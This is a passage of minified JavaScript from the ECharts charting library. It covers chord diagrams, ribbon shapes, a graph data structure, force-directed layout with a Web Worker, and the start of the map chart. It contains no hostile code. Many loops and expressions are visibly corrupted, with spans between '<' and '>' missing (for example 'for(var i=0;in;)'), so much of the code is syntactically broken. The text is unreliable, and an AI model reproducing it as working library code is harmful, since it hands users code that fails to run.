d=l.layout.startAngle/Math.PI*180,p=l.layout.endAngle/Math.PI*180,c=U.layout.startAngle/Math.PI*180,u=U.layout.endAngle/Math.PI*180;V=this.getColor(1===e.length?l.layout.weight<=U.layout.weight?l.node1.id:l.node2.id:a.name);var y,g,b=this._getEdgeQueryTarget(a,l.data),f=this._getEdgeQueryTarget(a,l.data,"emphasis"),k=new r({zlevel:a.zlevel,z:a.z,style:{x:o[0],y:o[1],r:s[0],source0:d,source1:p,target0:c,target1:u,brushType:"both",opacity:this.deepQuery(b,"opacity"),color:V,lineWidth:this.deepQuery(b,"borderWidth"),strokeColor:this.deepQuery(b,"borderColor"),clockWise:n.clockWise},clickable:n.clickable,highlightStyle:{brushType:"both",opacity:this.deepQuery(f,"opacity"),lineWidth:this.deepQuery(f,"borderWidth"),strokeColor:this.deepQuery(f,"borderColor")}});l.layout.weight<=U.layout.weight?(y=U.node1,g=U.node2):(y=l.node1,g=l.node2),m.pack(k,a,t,l.data,null==l.rawIndex?h:l.rawIndex,l.data.name||y.id+"-"+g.id,y.id,g.id),this.shapeList.push(k),l.shape=k}},this)},_buildEdgeCurves:function(e,t,i,n,a){var o=e[t],r=this.parseCenter(this.zr,n.center);i.eachEdge(function(e,i){var n=a.getNodeById(e.node1.id),s=a.getNodeById(e.node2.id),h=n.shape,V=s.shape,U=this._getEdgeQueryTarget(o,e.data),d=this._getEdgeQueryTarget(o,e.data,"emphasis"),p=new l({zlevel:o.zlevel,z:o.z,style:{xStart:h.position[0],yStart:h.position[1],xEnd:V.position[0],yEnd:V.position[1],cpX1:r[0],cpY1:r[1],lineWidth:this.deepQuery(U,"width"),strokeColor:this.deepQuery(U,"color"),opacity:this.deepQuery(U,"opacity")},highlightStyle:{lineWidth:this.deepQuery(d,"width"),strokeColor:this.deepQuery(d,"color"),opacity:this.deepQuery(d,"opacity")}});m.pack(p,o,t,e.data,null==e.rawIndex?i:e.rawIndex,e.data.name||e.node1.id+"-"+e.node2.id,e.node1.id,e.node2.id),this.shapeList.push(p),e.shape=p},this)},_buildScales:function(e,t,i){var o,r,s=e.clockWise,l=this.parseCenter(this.zr,e.center),h=this.parseRadius(this.zr,e.radius),m=s?1:-1,V=0,d=-(1/0);e.showScaleText&&(i.eachNode(function(e){var t=e.data.value;t>d&&(d=t),V+=t}),d>1e10?(o="b",r=1e-9):d>1e7?(o="m",r=1e-6):d>1e4?(o="k",r=.001):(o="",r=1));var p=V/(360-e.padding);i.eachNode(function(t){for(var i=t.layout.startAngle/Math.PI*180,V=t.layout.endAngle/Math.PI*180,d=i;;){if(s&&d>V||!s&&V>d)break;var c=d/180*Math.PI,u=[Math.cos(c),Math.sin(c)],y=U.scale([],u,h[1]+1);U.add(y,y,l);var g=U.scale([],u,h[1]+this.scaleLineLength);U.add(g,g,l);var b=new a({zlevel:e.zlevel,z:e.z-1,hoverable:!1,style:{xStart:y[0],yStart:y[1],xEnd:g[0],yEnd:g[1],lineCap:"round",brushType:"stroke",strokeColor:"#666",lineWidth:1}});this.shapeList.push(b),d+=m*this.scaleUnitAngle}if(e.showScaleText)for(var f=i,k=5*p*this.scaleUnitAngle,x=0;;){if(s&&f>V||!s&&V>f)break;var c=f;c%=360,0>c&&(c+=360);var _=90>=c||c>=270,L=new n({zlevel:e.zlevel,z:e.z-1,hoverable:!1,style:{x:_?h[1]+this.scaleLineLength+4:-h[1]-this.scaleLineLength-4,y:0,text:Math.round(10*x)/10+o,textAlign:_?"left":"right"},position:l.slice(),rotation:_?[-c/180*Math.PI,0,0]:[-(c+180)/180*Math.PI,0,0]});this.shapeList.push(L),x+=k*r,f+=m*this.scaleUnitAngle*5}},this)},refresh:function(e){if(e&&(this.option=e,this.series=e.series),this.legend=this.component.legend,this.legend)this.getColor=function(e){return this.legend.getColor(e)},this.isSelected=function(e){return this.legend.isSelected(e)};else{var t={},i=0;this.getColor=function(e){return t[e]?t[e]:(t[e]||(t[e]=this.zr.getColor(i++)),t[e])},this.isSelected=function(){return!0}}this.backupShapeList(),this._init()},reformOption:function(e){var t=V.merge;e=t(t(e||{},this.ecTheme.chord),h.chord),e.itemStyle.normal.label.textStyle=this.getTextStyle(e.itemStyle.normal.label.textStyle),this.z=e.z,this.zlevel=e.zlevel}},V.inherits(t,i),e("../chart").define("chord",t),t}),i("echarts/util/shape/Ribbon",["require","zrender/shape/Base","zrender/shape/util/PathProxy","zrender/tool/util","zrender/tool/area"],function(e){function t(e){i.call(this,e),this._pathProxy=new n}var i=e("zrender/shape/Base"),n=e("zrender/shape/util/PathProxy"),a=e("zrender/tool/util"),o=e("zrender/tool/area");return t.prototype={type:"ribbon",buildPath:function(e,t){var i=t.clockWise||!1,n=this._pathProxy;n.begin(e);var a=t.x,o=t.y,r=t.r,s=t.source0/180*Math.PI,l=t.source1/180*Math.PI,h=t.target0/180*Math.PI,m=t.target1/180*Math.PI,V=a+Math.cos(s)*r,U=o+Math.sin(s)*r,d=a+Math.cos(l)*r,p=o+Math.sin(l)*r,c=a+Math.cos(h)*r,u=o+Math.sin(h)*r,y=a+Math.cos(m)*r,g=o+Math.sin(m)*r;n.moveTo(V,U),n.arc(a,o,t.r,s,l,!i),n.bezierCurveTo(.7*(a-d)+d,.7*(o-p)+p,.7*(a-c)+c,.7*(o-u)+u,c,u),(t.source0!==t.target0||t.source1!==t.target1)&&(n.arc(a,o,t.r,h,m,!i),n.bezierCurveTo(.7*(a-y)+y,.7*(o-g)+g,.7*(a-V)+V,.7*(o-U)+U,V,U))},getRect:function(e){return e.__rect?e.__rect:(this._pathProxy.isEmpty()||this.buildPath(null,e),this._pathProxy.fastBoundingRect())},isCover:function(e,t){var i=this.getRect(this.style);return e>=i.x&&e<=i.x+i.width&&t>=i.y&&t<=i.y+i.height?o.isInsidePath(this._pathProxy.pathCommands,0,"fill",e,t):void 0}},a.inherits(t,i),t}),i("echarts/data/Graph",["require","zrender/tool/util"],function(e){var t=e("zrender/tool/util"),i=function(e){this._directed=e||!1,this.nodes=[],this.edges=[],this._nodesMap={},this._edgesMap={}};i.prototype.isDirected=function(){return this._directed},i.prototype.addNode=function(e,t){if(this._nodesMap[e])return this._nodesMap[e];var n=new i.Node(e,t);return this.nodes.push(n),this._nodesMap[e]=n,n},i.prototype.getNodeById=function(e){return this._nodesMap[e]},i.prototype.addEdge=function(e,t,n){if("string"==typeof e&&(e=this._nodesMap[e]),"string"==typeof t&&(t=this._nodesMap[t]),e&&t){var a=e.id+"-"+t.id;if(this._edgesMap[a])return this._edgesMap[a];var o=new i.Edge(e,t,n);return this._directed&&(e.outEdges.push(o),t.inEdges.push(o)),e.edges.push(o),e!==t&&t.edges.push(o),this.edges.push(o),this._edgesMap[a]=o,o}},i.prototype.removeEdge=function(e){var i=e.node1,n=e.node2,a=i.id+"-"+n.id;this._directed&&(i.outEdges.splice(t.indexOf(i.outEdges,e),1),n.inEdges.splice(t.indexOf(n.inEdges,e),1)),i.edges.splice(t.indexOf(i.edges,e),1),i!==n&&n.edges.splice(t.indexOf(n.edges,e),1),delete this._edgesMap[a],this.edges.splice(t.indexOf(this.edges,e),1)},i.prototype.getEdge=function(e,t){return"string"!=typeof e&&(e=e.id),"string"!=typeof t&&(t=t.id),this._directed?this._edgesMap[e+"-"+t]:this._edgesMap[e+"-"+t]||this._edgesMap[t+"-"+e]},i.prototype.removeNode=function(e){if("string"!=typeof e||(e=this._nodesMap[e])){delete this._nodesMap[e.id],this.nodes.splice(t.indexOf(this.nodes,e),1);for(var i=0;in;)e.call(t,this.nodes[n],n)?n++:(this.removeNode(this.nodes[n]),i--)},i.prototype.filterEdge=function(e,t){for(var i=this.edges.length,n=0;i>n;)e.call(t,this.edges[n],n)?n++:(this.removeEdge(this.edges[n]),i--)},i.prototype.eachNode=function(e,t){for(var i=this.nodes.length,n=0;i>n;n++)this.nodes[n]&&e.call(t,this.nodes[n],n)},i.prototype.eachEdge=function(e,t){for(var i=this.edges.length,n=0;i>n;n++)this.edges[n]&&e.call(t,this.edges[n],n)},i.prototype.clear=function(){this.nodes.length=0,this.edges.length=0,this._nodesMap={},this._edgesMap={}},i.prototype.breadthFirstTraverse=function(e,t,i,n){if("string"==typeof t&&(t=this._nodesMap[t]),t){var a="edges";"out"===i?a="outEdges":"in"===i&&(a="inEdges");for(var o=0;or;r++){var s=o.addNode(e[r].id,e[r]);s.data.value=0,n&&(s.data.outValue=s.data.inValue=0)}for(var r=0;a>r;r++)for(var l=0;a>l;l++){var h=t[r][l];n&&(o.nodes[r].data.outValue+=h,o.nodes[l].data.inValue+=h),o.nodes[r].data.value+=h,o.nodes[l].data.value+=h}for(var r=0;a>r;r++)for(var l=r;a>l;l++){var h=t[r][l];if(0!==h){var m=o.nodes[r],V=o.nodes[l],U=o.addEdge(m,V,{});if(U.data.weight=h,r!==l&&n&&t[l][r]){var d=o.addEdge(V,m,{});d.data.weight=t[l][r]}}}return o}},i}),i("echarts/layout/Chord",["require"],function(){var e=function(e){e=e||{},this.sort=e.sort||null,this.sortSub=e.sortSub||null,this.padding=.05,this.startAngle=e.startAngle||0,this.clockWise=null==e.clockWise?!1:e.clockWise,this.center=e.center||[0,0],this.directed=!0};e.prototype.run=function(e){e instanceof Array||(e=[e]);var n=e.length;if(n){for(var a=e[0],o=a.nodes.length,r=[],s=0,l=0;o>l;l++){var h=a.nodes[l],m={size:0,subGroups:[],node:h};r.push(m);for(var V=0,U=0;Ul;l++){var m=r[l];m.node.layout.startAngle=f,m.node.layout.endAngle=f+k*m.size*b,m.node.layout.subGroups=[];for(var u=0;un;n++){var o=i[n];if(o.type===d.CHART_TYPE_FORCE){if(i[n]=this.reformOption(i[n]),e=i[n].name||"",this.selectedMap[e]=t?t.isSelected(e):!0,!this.selectedMap[e])continue;this.buildMark(n),this._initSerie(o,n);break}}this.animationEffect()},_getNodeCategory:function(e,t){return e.categories&&e.categories[t.category||0]},_getNodeQueryTarget:function(e,t,i){i=i||"normal";var n=this._getNodeCategory(e,t)||{};return[t.itemStyle&&t.itemStyle[i],n&&n.itemStyle&&n.itemStyle[i],e.itemStyle[i].nodeStyle]},_getEdgeQueryTarget:function(e,t,i){return i=i||"normal",[t.itemStyle&&t.itemStyle[i],e.itemStyle[i].linkStyle]},_initSerie:function(e,t){this._temperature=1,e.matrix?this._graph=this._getSerieGraphFromDataMatrix(e):e.links&&(this._graph=this._getSerieGraphFromNodeLinks(e)),this._buildLinkShapes(e,t),this._buildNodeShapes(e,t);var i=e.roam===!0||"move"===e.roam,n=e.roam===!0||"scale"===e.roam;this.zr.modLayer(this.getZlevelBase(),{panable:i,zoomable:n}),(this.query("markPoint.effect.show")||this.query("markLine.effect.show"))&&this.zr.modLayer(d.EFFECT_ZLEVEL,{panable:i,zoomable:n}),this._initLayout(e),this._step()},_getSerieGraphFromDataMatrix:function(e){for(var t=[],i=0,n=[],a=0;an;n++){var o=i[n];if(o&&!o.ignore){var r=this._getNodeCategory(e,o),l=r?r.name:o.name;if(this.selectedMap[l]=this.isSelected(l),this.selectedMap[l]){var h=t.addNode(o.name,o);h.rawIndex=n}}}for(var n=0,a=e.links.length;a>n;n++){var m=e.links[n],V=m.source,U=m.target;"number"==typeof V&&(V=i[V],V&&(V=V.name)),"number"==typeof U&&(U=i[U],U&&(U=U.name));var d=t.addEdge(V,U,m);d&&(d.rawIndex=n)}return t.eachNode(function(e){var t=e.data.value;if(null==t){t=0;for(var i=0;ih;h++){var m=t.nodes[h];l=Math.max(m.layout.size,l),s=Math.min(m.layout.size,s)}for(var V=l-s,h=0;i>h;h++){var m=t.nodes[h];V>0?(m.layout.size=(m.layout.size-s)*(a-n)/V+n,m.layout.mass=m.layout.size/a):(m.layout.size=(a-n)/2,m.layout.mass=.5)}for(var h=0;i>h;h++){var m=t.nodes[h];if("undefined"!=typeof this.__nodePositionMap[m.id])m.layout.position=y.create(),y.copy(m.layout.position,this.__nodePositionMap[m.id]);else if("undefined"!=typeof m.data.initial)m.layout.position=y.create(),y.copy(m.layout.position,m.data.initial);else{var U=this._layout.center,d=Math.min(this._layout.width,this._layout.height);m.layout.position=o(U[0],U[1],.8*d)}var p=m.shape.style,c=m.layout.size;p.width=p.width||2*c,p.height=p.height||2*c,p.x=-p.width/2,p.y=-p.height/2,y.copy(m.shape.position,m.layout.position)}i=t.edges.length,l=-(1/0);for(var h=0;i>h;h++){var u=t.edges[h];u.layout.weight>l&&(l=u.layout.weight)}for(var h=0;i>h;h++){var u=t.edges[h];u.layout.weight/=l}this._layout.init(t,e.useWorker)},_buildNodeShapes:function(e,t){var i=this._graph,n=this.query(e,"categories");i.eachNode(function(i){var a=this._getNodeCategory(e,i.data),o=[i.data,a,e],r=this._getNodeQueryTarget(e,i.data),s=this._getNodeQueryTarget(e,i.data,"emphasis"),l=new U({style:{x:0,y:0,color:this.deepQuery(r,"color"),brushType:"both",strokeColor:this.deepQuery(r,"strokeColor")||this.deepQuery(r,"borderColor"),lineWidth:this.deepQuery(r,"lineWidth")||this.deepQuery(r,"borderWidth")},highlightStyle:{color:this.deepQuery(s,"color"),strokeColor:this.deepQuery(s,"strokeColor")||this.deepQuery(s,"borderColor"),lineWidth:this.deepQuery(s,"lineWidth")||this.deepQuery(s,"borderWidth")},clickable:e.clickable,zlevel:this.getZlevelBase(),z:this.getZBase()});l.style.color||(l.style.color=this.getColor(a?a.name:i.id)),l.style.iconType=this.deepQuery(o,"symbol");var h=this.deepQuery(o,"symbolSize")||0;"number"==typeof h&&(h=[h,h]),l.style.width=2*h[0],l.style.height=2*h[1],l.style.iconType.match("image")&&(l.style.image=l.style.iconType.replace(new RegExp("^image:\\/\\/"),""),l=new V({style:l.style,highlightStyle:l.highlightStyle,clickable:l.clickable,zlevel:this.getZlevelBase(),z:this.getZBase()})),this.deepQuery(o,"itemStyle.normal.label.show")&&(l.style.text=null==i.data.label?i.id:i.data.label,l.style.textPosition=this.deepQuery(o,"itemStyle.normal.label.position"),l.style.textColor=this.deepQuery(o,"itemStyle.normal.label.textStyle.color"),l.style.textFont=this.getFont(this.deepQuery(o,"itemStyle.normal.label.textStyle")||{})),this.deepQuery(o,"itemStyle.emphasis.label.show")&&(l.highlightStyle.textPosition=this.deepQuery(o,"itemStyle.emphasis.label.position"),l.highlightStyle.textColor=this.deepQuery(o,"itemStyle.emphasis.label.textStyle.color"),l.highlightStyle.textFont=this.getFont(this.deepQuery(o,"itemStyle.emphasis.label.textStyle")||{})),this.deepQuery(o,"draggable")&&(this.setCalculable(l),l.dragEnableTime=0,l.draggable=!0,l.ondragstart=this.shapeHandler.ondragstart,l.ondragover=null);var m="";if("undefined"!=typeof i.category){var a=n[i.category];m=a&&a.name||""}p.pack(l,e,t,i.data,i.rawIndex,i.data.name||"",i.category),this.shapeList.push(l),this.zr.addShape(l),i.shape=l},this)},_buildLinkShapes:function(e,t){for(var i=this._graph,n=i.edges.length,a=0;n>a;a++){var o=i.edges[a],r=o.data,s=o.node1,l=o.node2,V=i.getEdge(l,s),d=this._getEdgeQueryTarget(e,r),u=this.deepQuery(d,"type");e.linkSymbol&&"none"!==e.linkSymbol&&(u="line");var y="line"===u?h:m,g=new y({style:{xStart:0,yStart:0,xEnd:0,yEnd:0},clickable:this.query(e,"clickable"),highlightStyle:{},zlevel:this.getZlevelBase(),z:this.getZBase()});if(V&&V.shape&&(g.style.offset=4,V.shape.style.offset=4),c.merge(g.style,this.query(e,"itemStyle.normal.linkStyle"),!0),c.merge(g.highlightStyle,this.query(e,"itemStyle.emphasis.linkStyle"),!0),"undefined"!=typeof r.itemStyle&&(r.itemStyle.normal&&c.merge(g.style,r.itemStyle.normal,!0),r.itemStyle.emphasis&&c.merge(g.highlightStyle,r.itemStyle.emphasis,!0)),g.style.lineWidth=g.style.lineWidth||g.style.width,g.style.strokeColor=g.style.strokeColor||g.style.color,g.highlightStyle.lineWidth=g.highlightStyle.lineWidth||g.highlightStyle.width,g.highlightStyle.strokeColor=g.highlightStyle.strokeColor||g.highlightStyle.color,p.pack(g,e,t,o.data,null==o.rawIndex?a:o.rawIndex,o.data.name||s.id+" - "+l.id,s.id,l.id),this.shapeList.push(g),this.zr.addShape(g),o.shape=g,e.linkSymbol&&"none"!==e.linkSymbol){var b=new U({style:{x:-5,y:0,width:e.linkSymbolSize[0],height:e.linkSymbolSize[1],iconType:e.linkSymbol,brushType:"fill",color:g.style.strokeColor},highlightStyle:{brushType:"fill"},position:[0,0],rotation:0,zlevel:this.getZlevelBase(),z:this.getZBase()});g._symbolShape=b,this.shapeList.push(b),this.zr.addShape(b)}}},_updateLinkShapes:function(){for(var e=y.create(),t=y.create(),i=y.create(),n=y.create(),a=this._graph.edges,o=0,r=a.length;r>o;o++){var s=a[o],l=s.node1.shape,h=s.node2.shape;y.copy(i,l.position),y.copy(n,h.position);var m=s.shape.style;if(y.sub(e,i,n),y.normalize(e,e),m.offset?(t[0]=e[1],t[1]=-e[0],y.scaleAndAdd(i,i,t,m.offset),y.scaleAndAdd(n,n,t,m.offset)):"bezier-curve"===s.shape.type&&(m.cpX1=(i[0]+n[0])/2-(n[1]-i[1])/4,m.cpY1=(i[1]+n[1])/2-(i[0]-n[0])/4),m.xStart=i[0],m.yStart=i[1],m.xEnd=n[0],m.yEnd=n[1],s.shape.modSelf(),s.shape._symbolShape){var V=s.shape._symbolShape;y.copy(V.position,n),y.scaleAndAdd(V.position,V.position,e,h.style.width/2+2);var U=Math.atan2(e[1],e[0]);V.rotation=Math.PI/2-U,V.modSelf()}}},_syncNodePositions:function(){for(var e=this._graph,t=0;t.01?this._layout.step(this._steps):this.messageCenter.dispatch(d.EVENT.FORCE_LAYOUT_END,{},{},this.myChart)},refresh:function(e){if(e&&(this.option=e,this.series=this.option.series),this.legend=this.component.legend,this.legend)this.getColor=function(e){return this.legend.getColor(e)},this.isSelected=function(e){return this.legend.isSelected(e)};else{var t={},i=0;this.getColor=function(e){return t[e]?t[e]:(t[e]||(t[e]=this.zr.getColor(i++)),t[e])},this.isSelected=function(){return!0}}this._init()},dispose:function(){this.clear(),this.shapeList=null,this.effectList=null,this._layout.dispose(),this._layout=null,this.__nodePositionMap={}},getPosition:function(){var e=[];return this._graph.eachNode(function(t){t.layout&&e.push({name:t.data.name,position:Array.prototype.slice.call(t.layout.position)})}),e}},c.inherits(t,r),e("../chart").define("force",t),t}),i("echarts/layout/Force",["require","./forceLayoutWorker","zrender/tool/vector"],function(e){function t(){if("undefined"!=typeof Worker&&"undefined"!=typeof Blob)try{var e=new Blob([n.getWorkerCode()]);i=window.URL.createObjectURL(e)}catch(t){i=""}return i}var i,n=e("./forceLayoutWorker"),a=e("zrender/tool/vector"),o=window.requestAnimationFrame||window.msRequestAnimationFrame||window.mozRequestAnimationFrame||window.webkitRequestAnimationFrame||function(e){setTimeout(e,16)},r="undefined"==typeof Float32Array?Array:Float32Array,s=function(e){"undefined"==typeof i&&t(),e=e||{},this.width=e.width||500,this.height=e.height||500,this.center=e.center||[this.width/2,this.height/2],this.ratioScaling=e.ratioScaling||!1,this.scaling=e.scaling||1,this.gravity="undefined"!=typeof e.gravity?e.gravity:1,this.large=e.large||!1,this.preventNodeOverlap=e.preventNodeOverlap||!1,this.preventNodeEdgeOverlap=e.preventNodeEdgeOverlap||!1,this.maxSpeedIncrease=e.maxSpeedIncrease||1,this.onupdate=e.onupdate||function(){},this.temperature=e.temperature||1,this.coolDown=e.coolDown||.99,this._layout=null,this._layoutWorker=null;var n=this,a=this._$onupdate;this._$onupdate=function(e){a.call(n,e)}};return s.prototype.updateConfig=function(){var e=this.width,t=this.height,i=Math.min(e,t),n={center:this.center,width:this.ratioScaling?e:i,height:this.ratioScaling?t:i,scaling:this.scaling||1,gravity:this.gravity||1,barnesHutOptimize:this.large,preventNodeOverlap:this.preventNodeOverlap,preventNodeEdgeOverlap:this.preventNodeEdgeOverlap,maxSpeedIncrease:this.maxSpeedIncrease};if(this._layoutWorker)this._layoutWorker.postMessage({cmd:"updateConfig",config:n});else for(var a in n)this._layout[a]=n[a]},s.prototype.init=function(e,t){if(this._layoutWorker&&(this._layoutWorker.terminate(),this._layoutWorker=null),i&&t)try{this._layoutWorker||(this._layoutWorker=new Worker(i),this._layoutWorker.onmessage=this._$onupdate),this._layout=null}catch(a){this._layoutWorker=null,this._layout||(this._layout=new n)}else this._layout||(this._layout=new n);this.temperature=1,this.graph=e;for(var o=e.nodes.length,s=new r(2*o),l=new r(o),h=new r(o),m=0;o>m;m++){var V=e.nodes[m];s[2*m]=V.layout.position[0],s[2*m+1]=V.layout.position[1],l[m]="undefined"==typeof V.layout.mass?1:V.layout.mass,h[m]="undefined"==typeof V.layout.size?1:V.layout.size,V.layout.__index=m}o=e.edges.length;for(var U=new r(2*o),d=new r(o),m=0;o>m;m++){var p=e.edges[m];U[2*m]=p.node1.layout.__index,U[2*m+1]=p.node2.layout.__index,d[m]=p.layout.weight||1}this._layoutWorker?this._layoutWorker.postMessage({cmd:"init",nodesPosition:s,nodesMass:l,nodesSize:h,edges:U,edgesWeight:d}):(this._layout.initNodes(s,l,h),this._layout.initEdges(U,d)),this.updateConfig()},s.prototype.step=function(e){var t=this.graph.nodes;if(this._layoutWorker){for(var i=new r(2*t.length),n=0;nn;n++)this.temperature*=this.coolDown}else{o(this._$onupdate);for(var n=0;nn;n++)this._layout.temperature=this.temperature,this._layout.update(),this.temperature*=this.coolDown}},s.prototype._$onupdate=function(e){if(this._layoutWorker){for(var t=new Float32Array(e.data),i=0;i0&&(a=1/Math.sqrt(a),e[0]=t[0]*a,e[1]=t[1]*a),e},negate:function(e,t){return e[0]=-t[0],e[1]=-t[1],e},copy:function(e,t){return e[0]=t[0],e[1]=t[1],e},set:function(e,t,i){return e[0]=t,e[1]=i,e}}:e("zrender/tool/vector");var l="undefined"==typeof Float32Array?Array:Float32Array;if(t.prototype.beforeUpdate=function(){for(var e=0;e=e&&this.bbox[1]<=t&&this.bbox[3]>=t},t.prototype.setBBox=function(e,t,i,n){this.bbox[0]=e,this.bbox[1]=t,this.bbox[2]=i,this.bbox[3]=n,this.size=(i-e+n-t)/2},t.prototype._newSubRegion=function(){var e=this.subRegions[this.nSubRegions];return e||(e=new t,this.subRegions[this.nSubRegions]=e),this.nSubRegions++,e},t.prototype._addNodeToSubRegion=function(e){var t=this.findSubRegion(e.position[0],e.position[1]),i=this.bbox;if(!t){var n=(i[0]+i[2])/2,a=(i[1]+i[3])/2,o=(i[2]-i[0])/2,r=(i[3]-i[1])/2,s=e.position[0]>=n?1:0,l=e.position[1]>=a?1:0,t=this._newSubRegion();t.setBBox(s*o+i[0],l*r+i[1],(s+1)*o+i[0],(l+1)*r+i[1])}t.addNode(e)},t.prototype._updateCenterOfMass=function(e){null==this.centerOfMass&&(this.centerOfMass=r.create());var t=this.centerOfMass[0]*this.mass,i=this.centerOfMass[1]*this.mass;t+=e.position[0]*e.mass,i+=e.position[1]*e.mass,this.mass+=e.mass,this.centerOfMass[0]=t/this.mass,this.centerOfMass[1]=i/this.mass},a.prototype.nodeToNodeRepulsionFactor=function(e,t,i){return i*i*e/t},a.prototype.edgeToNodeRepulsionFactor=function(e,t,i){return i*e/t},a.prototype.attractionFactor=function(e,t,i){return e*t/i},a.prototype.initNodes=function(e,t,n){this.temperature=1;var a=e.length/2;this.nodes.length=0;for(var o="undefined"!=typeof n,r=0;a>r;r++){var s=new i;s.position[0]=e[2*r],s.position[1]=e[2*r+1],s.mass=t[r],o&&(s.size=n[r]),this.nodes.push(s)}this._massArr=t,o&&(this._sizeArr=n)},a.prototype.initEdges=function(e,t){var i=e.length/2;this.edges.length=0;for(var a="undefined"!=typeof t,o=0;i>o;o++){var r=e[2*o],s=e[2*o+1],l=this.nodes[r],h=this.nodes[s];if(l&&h){l.outDegree++,h.inDegree++;var m=new n(l,h);a&&(m.weight=t[o]),this.edges.push(m)}}},a.prototype.update=function(){var e=this.nodes.length;if(this.updateBBox(),this._k=.4*this.scaling*Math.sqrt(this.width*this.height/e),this.barnesHutOptimize){this._rootRegion.setBBox(this.bbox[0],this.bbox[1],this.bbox[2],this.bbox[3]),this._rootRegion.beforeUpdate();for(var t=0;e>t;t++)this._rootRegion.addNode(this.nodes[t]);this._rootRegion.afterUpdate()}else{var i=0,n=this._rootRegion.centerOfMass;r.set(n,0,0);for(var t=0;e>t;t++){var a=this.nodes[t];i+=a.mass,r.scaleAndAdd(n,n,a.position,a.mass); + +}i>0&&r.scale(n,n,1/i)}this.updateForce(),this.updatePosition()},a.prototype.updateForce=function(){for(var e=this.nodes.length,t=0;e>t;t++){var i=this.nodes[t];r.copy(i.forcePrev,i.force),r.copy(i.speedPrev,i.speed),r.set(i.force,0,0)}this.updateNodeNodeForce(),this.gravity>0&&this.updateGravityForce(),this.updateEdgeForce(),this.preventNodeEdgeOverlap&&this.updateNodeEdgeForce()},a.prototype.updatePosition=function(){for(var e=this.nodes.length,t=r.create(),i=0;e>i;i++){var n=this.nodes[i],a=n.speed;r.scale(n.force,n.force,1/30);var o=r.len(n.force)+.1,s=Math.min(o,500)/o;r.scale(n.force,n.force,s),r.add(a,a,n.force),r.scale(a,a,this.temperature),r.sub(t,a,n.speedPrev);var l=r.len(t);if(l>0){r.scale(t,t,1/l);var h=r.len(n.speedPrev);h>0&&(l=Math.min(l/h,this.maxSpeedIncrease)*h,r.scaleAndAdd(a,n.speedPrev,t,l))}var m=r.len(a),s=Math.min(m,100)/(m+.1);r.scale(a,a,s),r.add(n.position,n.position,a)}},a.prototype.updateNodeNodeForce=function(){for(var e=this.nodes.length,t=0;e>t;t++){var i=this.nodes[t];if(this.barnesHutOptimize)this.applyRegionToNodeRepulsion(this._rootRegion,i);else for(var n=t+1;e>n;n++){var a=this.nodes[n];this.applyNodeToNodeRepulsion(i,a,!1)}}},a.prototype.updateGravityForce=function(){for(var e=0;ethis.barnesHutTheta*t.size*t.size){var a=this._k*this._k*(i.mass+t.mass)/(n+1);r.scaleAndAdd(i.force,i.force,e,2*a)}else for(var o=0;o0?o=this.nodeToNodeRepulsionFactor(s,l,this._k):0>=l&&(o=this._k*this._k*10*s)):o=this.nodeToNodeRepulsionFactor(s,l,this._k),n||r.scaleAndAdd(t.force,t.force,e,2*o),r.scaleAndAdd(i.force,i.force,e,2*-o)}}}}(),a.prototype.applyEdgeAttraction=function(){var e=r.create();return function(t){var i=t.node1,n=t.node2;r.sub(e,i.position,n.position);var a,o=r.len(e);a=0===this.edgeWeightInfluence?1:1==this.edgeWeightInfluence?t.weight:Math.pow(t.weight,this.edgeWeightInfluence);var s;if(!(this.preventOverlap&&(o=o-i.size-n.size,0>=o))){var s=this.attractionFactor(a,o,this._k);r.scaleAndAdd(i.force,i.force,e,-s),r.scaleAndAdd(n.force,n.force,e,s)}}}(),a.prototype.applyNodeGravity=function(){var e=r.create();return function(t){r.sub(e,this.center,t.position),this.width>this.height?e[1]*=this.width/this.height:e[0]*=this.height/this.width;var i=r.len(e)/100;this.strongGravity?r.scaleAndAdd(t.force,t.force,e,i*this.gravity*t.mass):r.scaleAndAdd(t.force,t.force,e,this.gravity*t.mass/(i+1))}}(),a.prototype.applyEdgeToNodeRepulsion=function(){var e=r.create(),t=r.create(),i=r.create();return function(n,a){var o=n.node1,s=n.node2;if(o!==a&&s!==a){r.sub(e,s.position,o.position),r.sub(t,a.position,o.position);var l=r.len(e);r.scale(e,e,1/l);var h=r.dot(e,t);if(!(0>h||h>l)){r.scaleAndAdd(i,o.position,e,h);var m=r.dist(i,a.position)-a.size,V=this.edgeToNodeRepulsionFactor(a.mass,Math.max(m,.1),100);r.sub(e,a.position,i),r.normalize(e,e),r.scaleAndAdd(a.force,a.force,e,V),r.scaleAndAdd(o.force,o.force,e,-V),r.scaleAndAdd(s.force,s.force,e,-V)}}}}(),a.prototype.updateBBox=function(){for(var e=1/0,t=1/0,i=-(1/0),n=-(1/0),a=0;an;n++){var o=h.nodes[n];o.position[0]=t[2*n],o.position[1]=t[2*n+1]}}else switch(e.data.cmd){case"init":h||(h=new a),h.initNodes(e.data.nodesPosition,e.data.nodesMass,e.data.nodesSize),h.initEdges(e.data.edges,e.data.edgesWeight);break;case"updateConfig":if(h)for(var r in e.data.config)h[r]=e.data.config[r];break;case"update":var s=e.data.steps;if(h){var i=h.nodes.length,t=new Float32Array(2*i);h.temperature=e.data.temperature;for(var n=0;s>n;n++)h.update(),h.temperature*=e.data.coolDown;for(var n=0;i>n;n++){var o=h.nodes[n];t[2*n]=o.position[0],t[2*n+1]=o.position[1]}self.postMessage(t.buffer,[t.buffer])}else{var l=new Float32Array;self.postMessage(l.buffer,[l.buffer])}}}}return a}),i("echarts/chart/map",["require","./base","zrender/shape/Text","zrender/shape/Path","zrender/shape/Circle","zrender/shape/Rectangle","zrender/shape/Line","zrender/shape/Polygon","zrender/shape/Ellipse","zrender/shape/Image","../component/dataRange","../component/roamController","../layer/heatmap","../config","../util/ecData","zrender/tool/util","zrender/config","zrender/tool/event","../util/mapData/params","../util/mapData/textFixed","../util/mapData/geoCoord","../util/projection/svg","../util/projection/normal","../chart"],function(e){function t(e,t,n,a,o){i.call(this,e,t,n,a,o);var r=this;r._onmousewheel=function(e){return r.__onmousewheel(e)},r._onmousedown=function(e){return r.__onmousedown(e)},r._onmousemove=function(e){return r.__onmousemove(e)},r._onmouseup=function(e){return r.__onmouseup(e)},r._onroamcontroller=function(e){return r.__onroamcontroller(e)},r._ondrhoverlink=function(e){return 